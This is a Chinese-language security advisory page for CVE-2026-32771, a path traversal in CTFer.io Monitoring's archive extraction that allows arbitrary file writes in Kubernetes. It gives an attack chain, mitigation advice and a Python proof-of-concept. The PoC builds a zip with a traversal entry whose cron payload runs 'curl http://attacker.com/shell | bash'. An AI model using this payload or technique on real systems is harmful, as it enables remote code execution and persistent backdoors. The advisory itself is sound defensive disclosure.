IPBUF安全漏洞报告
English
CVE-2026-32771 CVSS 9.8 严重

CVE-2026-32771 CTFer.io Monitoring路径遍历漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32771
漏洞类型
路径遍历
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CTFer.io Monitoring

相关标签

路径遍历RCECTFer.ioKubernetes任意文件写入

漏洞概述

CTFer.io Monitoring组件在0.2.2版本之前存在严重的路径遍历漏洞。由于`sanitizeArchivePath`函数在安全检查时缺少路径分隔符,攻击者可利用该缺陷绕过限制,实现任意文件写入。结合Kubernetes环境中的ReadWriteMany PVC权限,攻击者可覆盖关键系统文件(如SSH密钥、crontab),从而获取服务器权限或植入持久化后门。

技术细节

该漏洞位于`pkg/extract/extract.go`的`sanitizeArchivePath`函数中。代码试图通过`strings.HasPrefix`函数验证文件路径是否在允许的目录内,但由于未在目标路径末尾添加路径分隔符(如`/`),攻击者可以构造包含`../`序列的恶意路径(例如`safe_dir/../../etc/passwd`)通过验证。当系统解压恶意归档文件时,文件会被写入预期目录之外。由于该组件常部署在Kubernetes中并使用ReadWriteMany权限的PVC,集群内任何Pod均可上传恶意压缩包,进而覆盖`~/.ssh/authorized_keys`、`/etc/crontab`或`kubeconfig`文件,直接导致远程代码执行(RCE)和系统被持久化控制。

攻击链分析

STEP 1
侦察
攻击者识别出目标集群中运行了存在漏洞的CTFer.io Monitoring组件,并确认其使用了ReadWriteMany的PVC访问模式。
STEP 2
制作
攻击者构建一个恶意的压缩包,其中包含带有路径遍历序列(如`../../etc/crontab`)的文件名,文件内容为恶意代码或后门。
STEP 3
上传
攻击者利用集群内任意具备PVC写入权限的Pod,将恶意压缩包上传至监控组件的处理目录。
STEP 4
解压与写入
监控组件在解压文件时,由于`sanitizeArchivePath`函数校验逻辑缺陷(缺少尾部分隔符),未能拦截遍历路径,将恶意文件写入到系统关键目录。
STEP 5
执行与控制
系统加载被覆盖的配置文件(如crontab执行定时任务,或SSH keys允许登录),攻击者成功获取服务器权限并建立持久化后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os def create_malicious_zip(): # Payload content to be written (e.g., a cron job for reverse shell) # This payload attempts to add a cron job for persistent access payload_content = b"*/1 * * * * /bin/bash -c 'curl http://attacker.com/shell | bash'\n" # The vulnerability allows path traversal because the check lacks a trailing separator. # If the extraction root is /data/extract, a filename like # /data/extract/../../tmp/cron_pwn passes the HasPrefix check # if the code only checks for "/data/extract" without a trailing slash. zip_filename = "exploit.zip" with zipfile.ZipFile(zip_filename, 'w') as zf: # Use an absolute path or traversal sequence relative to extraction dir # Assuming the vulnerable code handles the prefix check incorrectly zinfo = zipfile.ZipInfo("../../../../tmp/cron_pwn") zinfo.external_attr = 0o644 << 16 # Unix permissions zf.writestr(zinfo, payload_content) print(f"[+] Created malicious zip file: {zip_filename}") print(f"[+] Payload written to: ../../../../tmp/cron_pwn") if __name__ == "__main__": create_malicious_zip()

影响范围

CTFer.io Monitoring < 0.2.2

防御指南

临时缓解措施
建议立即升级至修复版本。若暂时无法升级,应修改Kubernetes PVC的访问模式为ReadWriteOnce,以限制跨Pod写入。同时,审查监控组件接收的文件来源,并检查系统中是否存在异常的新增文件或被修改的配置文件(如crontab、SSH配置)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表